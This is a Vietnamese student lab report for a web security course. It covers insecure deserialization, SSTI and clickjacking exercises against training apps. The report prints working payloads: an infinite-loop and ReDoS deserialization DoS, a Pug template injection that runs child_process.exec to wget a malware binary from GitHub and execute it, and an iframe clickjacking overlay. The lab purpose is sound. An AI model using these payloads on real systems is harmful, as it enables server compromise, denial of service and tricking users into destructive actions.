Nhiệm vụ 4: Cấu hình để sử dụng OWASP ZAP như proxyMục tiêu của nhiệm vụ này là cài đặt OWASP ZAP để hoạt động và cho phép bắt gói tin từ máy tính sinh viên trên trình duyệt web-xss.. Nh
Trang 1HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
KHOA AN TOÀN THÔNG TIN
MÔN HỌC : AN TOÀN ỨNG DỤNG WEB VÀ CƠ SỞ DỮ LIỆU
BÀI BÁO CÁO KẾT QUẢ BÀI THỰC HÀNH SỐ 2
Giảng viên : Ninh Thị Thu Trang
Họ và tên : Phạm Tiến Dũng
Mã sinh viên : B21DCAT070 Điện thoại : 0339174050
HÀ NỘI , THÁNG 10/ 2024
Trang 2MỤC LỤC
Bài thực hành: Broken Authentication and Session Management 3
1 Mục đích 3
2 Yêu cầu đối với sinh viên: 3
3 Nội dung thực hành 3
4 Cấu hình mạng 3
Nhiệm vụ 1: Kiểm tra kết nối giữa 2 máy ảo được cung cấp 3
Nhiệm vụ 2: Mở trình duyệt web Firefox 4
Nhiệm vụ 3: Mở và cài đặt OWASP ZAP 5
Nhiệm vụ 4: Cấu hình để sử dụng OWASP ZAP như proxy 6
Nhiệm vụ 5: Truy cập các khu vực bị hạn chế 6
Nhiệm vụ 6: Remote Code Execution – Sử dụng POST và JSON 7
Nhiệm vụ 7: Remote Code Execution – sử dụng XML 13
Nhiệm vụ 8: Thực thi code bất kì 15
Bài thực hành: Multistep clickjacking 18
1 Mục đích 18
2 Cơ sở lý thuyết 18
3 Các bước thực hành 19
4 Tài liệu tham khảo 28
Trang 3Bài thực hành: Broken Authentication and Session
Management
1 Mục đích
Rèn luyện kỹ năng khai thác lỗ hổng Insecure Deserialization
2 Yêu cầu đối với sinh viên:
Nắm được kiến thức về lỗ hổng Insecure Deserialization
• Máy student workstation (web-insdes) được cấu hình có địa chỉ ip
là 192.168.99.101, còn server (web-insdes-server) có địa chỉ ip là 192.168.99.100
Các nhiệm vụ
Nhiệm vụ 1: Kiểm tra kết nối giữa 2 máy ảo được cung cấp
- Sử dụng lệnh ping từ máy Student Workstation
ping 192.168.99.100
Trang 4Nhiệm vụ 2: Mở trình duyệt web Firefox
• Ở terminal của máy student gõ lệnh
o firefox &
• Lệnh này sẽ khởi động firefox, sau đó mở địa chỉ ip của server:
o http://192.168.99.100:3000
Trang 5
Nhiệm vụ 3: Mở và cài đặt OWASP ZAP
• Ở terminal của máy student chạy lệnh sau
o owasp-zap &
Trang 6Nhiệm vụ 4: Cấu hình để sử dụng OWASP ZAP như proxy
Mục tiêu của nhiệm vụ này là cài đặt OWASP ZAP để hoạt động và cho phép bắt gói tin
từ máy tính sinh viên trên trình duyệt web-xss Trong phần thiết lập của Firefox, cấu hình theo các bước sau đây:
• Trên Firefox của máy tính sinh viên, mở "Preferences"
• Trong cửa sổ tìm kiếm, gõ "proxy"
• Trong Cài đặt proxy mạng, chọn "Cài đặt"
• Chọn "Cấu hình proxy thủ công"
• Trong phần Proxy HTTP: sử dụng "127.0.0.1" và Cổng "8080"
• Cũng chọn "Sử dụng máy chủ proxy này cho tất cả các giao thức"
• Nhấp vào "ok" để chấp nhận các cài đặt
Nhiệm vụ 5: Truy cập các khu vực bị hạn chế
• Mục tiêu của nhiệm vụ này là để xem quyền truy cập nào được phép và để xác định liệu bạn có thể truy cập vào một phần bị hạn chế, nếu bạn truy cập được thì sẽ được phép làm bất cứ điều gì Theo OWASP WSTG-ATHZ-01, một trong những việc đầu tiên khi xem một trang web là xem bạn có quyền truy cập vào những URL và thư mục nào Tiến hành khảo sát trang web cơ bản sử dụng trình thu thập dữ liệu trang web là phương pháp ưa thích để thu thập dữ liệu trên trang web
• Ví dụ 1: Khảo sát trang web
Trang 7• Phần sau đây sẽ cho phép OWASP Zap thu thập dữ liệu trang web để xác định xem đường dẫn nào có thể truy cập được.
o Mở OWASP Zap và thực hiện quét trang web trên địa chỉ IP: 192.168.99.100:3000
o Bạn có thấy bất kỳ liên kết nào đến các trang quản trị không?
o Vui lòng lưu kết quả quét của bạn từ OWASP Zap, lưu nó vào màn hình nền
và đặt tên cho nó “traversal.html” nếu traversal không phải là một tùy chọn, hãy lưu toàn bộ báo cáo
Nhiệm vụ 6: Remote Code Execution – Sử dụng POST và JSON
• Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi mã bằng cách sử dụng POST
và JSON Dựa theo OWASP WSTG 4.7.11.2 để kiểm tra các lỗ hổng bao gồm remote file và code inclusion File và Code inclusion cho phép kẻ tấn công chèn file
và đoạn code, thường khai thác tính năng “include tệp động” thực hiện trong ứng dụng mục tiêu Lỗ hổng xảy ra do việc sử dụng thông tin đầu vào do người dùng cung cấp mà không được xác thực hợp lệ
• Thực hiện các bước bên dưới để thực hiện thực thi mã từ xa
o Sau khi xem xét các URL được tìm thấy trong Nhiệm vụ 4, bạn sẽ tìm thấy API Swagger theo tài liệu được lưu trữ tại https://192.168.99.100:3000/api-docs mô tả API B2B
Trang 8o API này cho phép POST các đơn hàng trong đó các dòng đơn hàng có thể được gửi dưới dạng JSON ( orderLines ) và còn dưới dạng Chuỗi ( orderLinesData ).
o Ví dụ đã cho về orderLinesDate chỉ ra rằng Chuỗi này có thể được phép chứa JSON tùy ý: [{"productId": 12,"quantity": 10000,"customerReference": ["PO0000001.2", "SM20180105|042"],"couponCode": "pes[Bh.u*t"}, ]
o Nhấp vào nút Try và không thay đổi bất cứ điều gì, nhấp vào Thực thi để xem API có hoạt động hay không và cách thức hoạt động Điều này sẽ khiến bạn gặp lỗi 401 Unauthorized
Trang 9o Quay lại ứng dụng, đăng nhập với tư cách người dùng bất kỳ và sao chép Token của bạn từ Authorization Bearer header sử dụng DevTools của trình duyệt web.
Trang 10o Quay lại https://192.168.99.100:3000/api-docs/#/Order/post_orders nhấp vào Authorize và paste Token vào form Value
Trang 11\
o Nhấp vào Try và Execute để xem response 200 OK
Trang 12o Quá trình insecure JSON deserialization sẽ thực thi bất kỳ lệnh gọi hàm nào được xác định trong chuỗiJSON, vì vậy tải trọng có thể có cho một cuộc tấn công DoS sẽ là một vòng lặp vô tận Thay code ví dụ với {"orderLinesData":
"(function dos() { while(true); })()"} trong trường Request Body Nhấp vào execute
Trang 13o Máy chủ sẽ phản hồi với 200 OK sau khoảng 2 giây.
o Nếu yêu cầu của bạn tạo vòng lặp vô hạn thành công, thử thách sẽ được đánh dấu là giải quyết
Nhiệm vụ 7: Remote Code Execution – sử dụng XML
• Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi mã bằng XML
• Thực hiện các bước bên dưới để thực hiện thực thi mã từ xa
o Sau khi xem xét các URL được tìm thấy trong Nhiệm vụ 4, bạn sẽ tìm thấy API Swagger theo tài liệu được lưu trữ tại https://192.168.99.100:3000/api-docs mô tả API B2B
o API này cho phép POST các đơn hàng trong đó các dòng đơn hàng có thể được gửi dưới dạng JSON ( orderLines ) và còn dưới dạng Chuỗi ( orderLinesData )
o Ví dụ đã cho về orderLinesDate chỉ ra rằng Chuỗi này có thể được phép chứa JSON tùy ý: [{"productId": 12,"quantity": 10000,"customerReference": ["PO0000001.2", "SM20180105|042"],"couponCode": "pes[Bh.u*t"}, ]
o Nhấp vào nút Try và không thay đổi bất cứ điều gì, nhấp vào Thực thi để xem API có hoạt động hay không và cách thức hoạt động Điều này sẽ khiến bạn gặp lỗi 401 Unauthorized
Trang 14o Quay lại ứng dụng, đăng nhập với tư cách người dùng bất kỳ và sao chép Token của bạn từ Authorization Bearer header sử dụng DevTools của trình duyệt web.
o Quay lại https://192.168.99.100:3000/api-docs/#/Order/post_orders nhấp vào Authorize và paste Token vào form Value
o Nhấp vào Try và Execute để xem response 200 OK
o Quá trình insecure JSON deserialization sẽ thực thi bất kỳ lệnh gọi hàm nào được xác định trong chuỗiJSON, vì vậy tải trọng có thể có cho một cuộc tấn công DoS sẽ là một vòng lặp vô tận Thay code ví dụ với {"orderLinesData":
"/((a+)+)b/.test('aaaaaaaaaaaaaaaaaaaaaaaaaaaaa')"} trong trường Request Body Nhấp vào execute Việc này sẽ kích hoạt biểu thức chính quy sau khi được thực thi
o Máy chủ cuối cùng sẽ phản hồi với trạng thái 503 Service Unavailable
Trang 15Nhiệm vụ 8: Thực thi code bất kì
• Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi code tùy ý
• Sử dụng các bước được liệt kê bên dưới để thực thi mã tùy ý nhằm lây nhiễm phần mềm độc hại vào máy chủ
o Xem xét Nhiệm vụ 4.5 sẽ tiết lộ một thư mục con của ftp tại: https://192.168.99.100:3000/ftp/quarantine
Trang 16o Mục tiêu của bạn là RCE để làm cho máy chủ tải xuống và thực thi phiên bản phần mềm độc hại cho hệ điều hành máy chủ, vì vậy trên Linux bạn có thể muốn chạy, hãy gõ lệnh sau:
malware https://github.com/J12934/juicymalware/blob/master/juicy_ma lware_linux_amd_64?raw=true && chmod +x malware && /malware
o Nhận ra rằng https://192.168.99.100:3000/profile không phải là Angular Có nghĩa là trang là được viết bằng Pug, đây là một Template engine và do đó hoàn toàn phù hợp với SSTI
o Đặt username của bạn thành 1+1 và nhấp vào Đặt tên người dùng Tên người dùng của bạn sẽ chỉ được hiển thị là 1+1 avatar
Trang 17o Thử template Injection với Pug, đặt Tên người dùng thành #{1+1} và nhấp vào Đặt tên người dùng tên người dùng bây giờ sẽ được hiển thị là 2 dưới ảnh
hồ sơ!
Trang 18• Tạo một payload sẽ lạm dụng việc thiếu đóng gói đối tượng global.process của JavaScript để tải động một thư viện cho phép bạn sinh ra một tiến trình trên máy chủ
mà sau đó sẽ tải xuống và thực thi phần mềm độc hại Payload sẽ giống như sau:
• #{global.process.mainModule.require('child_process').exec ('wget -O malware https://github.com/J12934/juicymalware/blob/master/juicy_malware_linux_a md_64?raw=true && chmod +x malware && /malware')}
Bài thực hành: Multistep clickjacking
1 Mục đích
- Hiểu về cuộc tấn công Clickjacking và thực hành luyện tập tấn công Clickjacking
2 Cơ sở lý thuyết
- Clickjacking: Clickjacking là một tấn công nhắm vào giao diện người dùng Cuộc tấn
công này thực hiện bằng cách đánh lừa nạn nhân kích hoạt một hành vi độc hại nào đó thông qua việc click vào các nội dung mà được kẻ tấn công tạo nên
- CSRF token: Cross Site request forgery token là một mã được gắn với một trang web
chính thông nhằm mục đích ngăn các cuộc tấn công CSRF, nơi mà kẻ tấn công khai thác vào trình duyệt của người dùng, lừa người dùng thực hiện các hành vi mà người dùng không mong muốn
Trang 193 Các bước thực hành
- Bước 1: Sau khi truy cập bài lab, nhấn vào nút “Go to exploit Server”
Hình 1: Giao diện chính của bài Lab
Hình 2: Truy cập Go to exploit server để chỉnh sửa trang mồi
- Bước 2: Chèn một biểu mẫu css vào để tạo ra một hộp thoại giao diện nhằnm đánh lừa
người dùng
Trang 20<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src=" https:// academy.net/my-account?id=wiener"></iframe>
Trang 210a1b007c04bccd6c803ab74a007400ad.web-security-Hình 3: Chèn một biểu mẫu css tại phần body
- Bước 3: Chọn Store -> View Point để kiểm tra biểu mẫu đã khớp với vị trí cần đặt hay chưa
Trang 22Hình 4: Chọn View point để xem vị trí các nút
- Bước 4: Chỉnh lại vị trí của button Test me next bằng cách sửa đổi attributes top trong class first click
o Top: 500px
Trang 23Hình 5: Chỉnh sửa lại top của first click
Trang 24Hình 6: Vị trí của nút test me first đã khớp với nút Delete account
- Bước 5: Click vào nút Delete Account, để tham chiếu đến nút Test me next còn lại
Trang 25Hình 7: Chọn View point để đối chiếu lại nút Test me next
- Bước 6: Sửa đổi thuộc tính top và left trong class secondlick, Chọn Store -> View
exploit
o Top: 290px
o Left: 200px
Trang 26Hình 8: Sửa lại top và left của class second click(nút test me next)
Trang 27Hình 9: Vị trí của nút test me next đã khớp với nút Yes
- Bước 7: Sửa đổi tên của 2 class thành Click me first và Click me second và sửa lại
opacity thành 0.00001 Sau đó chọn nút Deliver exploit to victim
Trang 28Hình 10: Sửa lại tên nút thành Click me first và Click me second và opacity thành
0.0001
4 Tài liệu tham khảo
- [1]:https://portswigger.net/web-security/clickjacking/lab-multistep